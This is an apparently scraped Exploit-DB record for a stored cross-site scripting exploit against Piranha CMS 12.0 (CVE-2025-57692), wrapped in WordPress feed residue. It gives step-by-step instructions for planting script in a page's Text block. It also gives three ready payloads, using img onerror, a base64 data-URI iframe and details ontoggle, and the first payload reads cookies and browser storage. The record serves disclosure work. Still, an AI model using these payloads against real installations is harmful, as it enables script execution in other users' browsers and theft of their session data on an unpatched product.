{“lastseen”:”2026-02-02T09:28:04″,”description”:”Exploit Title: Piranha CMS 12.0 – Stored Cross Site Scripting Date: 2025-09-26 Exploit Author: Chidubem Chukwu Terminal Venom LinkedIn : https:\/\/www.linkedin.com\/in\/chidubem-chukwu-20bb202a9? Vendor Homepage: https:\/\/piranhacms.org Software Link:…”,”published”:”2026-02-02T00:00:00″,”modified”:”2026-02-02T00:00:00″,”type”:”exploitdb”,”title”:”Piranha CMS 12.0 – Stored XSS in Text Block”,”source”:””,”references”:””,”id”:”EDB-ID:52471″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-57692″],”sourceData”:”# Exploit Title: Piranha CMS 12.0 – Stored Cross Site Scripting \\r\\n# Date: 2025-09-26\\r\\n# Exploit Author: Chidubem Chukwu (Terminal Venom)\\r\\n# LinkedIn : https:\/\/www.linkedin.com\/in\/chidubem-chukwu-20bb202a9?\\r\\n# Vendor Homepage: https:\/\/piranhacms.org\\r\\n# Software Link: https:\/\/github.com\/PiranhaCMS\/piranha.core\/releases\/tag\/v12.0\\r\\n# Version: 12.0\\r\\n# Category: Web Application\\r\\n# Tested on: Ubuntu 22.04, Piranha CMS v12.0 (local), Chrome \\r\\n# CVE: CVE-2025-57692\\r\\n# Privilege Level: authenticated user\\r\\n# Patched Version: Not available\\r\\n# Exploit link: https:\/\/github.com\/Saconyfx\/security-advisories\/blob\/main\/CVE-2025-57692\/advisory.md\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n## Reproduction Steps ##\\r\\n\\r\\nPiranhaCMS 12.0 allows stored XSS in the Text content block of Standard and Standard Archive Pages via \/manager\/pages, enabling execution of arbitrary JavaScript in another user s browser.\\r\\n\\r\\nReproduction steps \\r\\n\\r\\n\\t1.\\tLog in to the Piranha admin panel at https:\/\/\\u003chost\\u003e\/manager\/login.\\r\\n\\r\\n\\t2.\\tNavigate to Pages.\\r\\n\\r\\n\\t3.\\tClick Add Page and choose Standard Page or Standard Archive.\\r\\n\\r\\n\\t4.\\tEnter a page title (e.g., XSS-Test).\\r\\n\\r\\n\\t5.\\tClick the [ + ] button and select Text under Content to add a Text block.\\r\\n\\r\\n\\t6.\\tIn the Text block input area, paste one of the payloads below (paste directly into the editor and save). The payload will execute immediately when pasted\/saved and will also execute for anyone who later accesses or previews the page.\\r\\n\\r\\nPayload A \\r\\n\\r\\n\\u003cimg src=\\”x\\” onerror=\\”\\r\\n alert(\\r\\n ‘Cookies: ‘ + document.cookie + ‘\\\\n’ +\\r\\n ‘LocalStorage: ‘ + JSON.stringify(localStorage) + ‘\\\\n’ +\\r\\n ‘SessionStorage: ‘ + JSON.stringify(sessionStorage) + ‘\\\\n’ +\\r\\n ‘URL: ‘ + window.location.href + ‘\\\\n’ +\\r\\n ‘User Agent: ‘ + navigator.userAgent + ‘\\\\n’ +\\r\\n ‘Time: ‘ + new Date().toLocaleString()\\r\\n )\\r\\n\\” \/\\u003e\\r\\n\\r\\nPayload B \u2014 iframe base64 \\r\\n\\r\\n\\u003ciframe src=\\”data:text\/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\”\\u003e\\u003c\/iframe\\u003e\\r\\n\\r\\nPayload C \u2014 details toggle (on-toggle alert)\\r\\n\\r\\n\\u003cdetails open ontoggle=alert(‘XSS’)\\u003eClick\\u003c\/details\\u003e\\r\\n\\r\\n\\t7.\\tClick Save. The payload executes immediately upon save (and will execute again when the page is previewed or accessed by others).\\r\\n\\r\\n\\t8.\\tAnyone who accesses the page (or pastes the payload) will trigger the XSS.”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52471″,”cvss”:{“score”:6.8,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:R\/S:U\/C:H\/I:L\/A:L”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52471″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-02T09:28:04″,”description”:”Exploit Title: Piranha CMS 12.0 – Stored Cross Site Scripting Date: 2025-09-26 Exploit Author: Chidubem Chukwu Terminal Venom LinkedIn : https:\/\/www.linkedin.com\/in\/chidubem-chukwu-20bb202a9? Vendor Homepage: https:\/\/piranhacms.org Software…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,25,12,40,21,13,7,11,5],"class_list":["post-38487","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-68","tag-exploit","tag-exploitdb","tag-medium","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n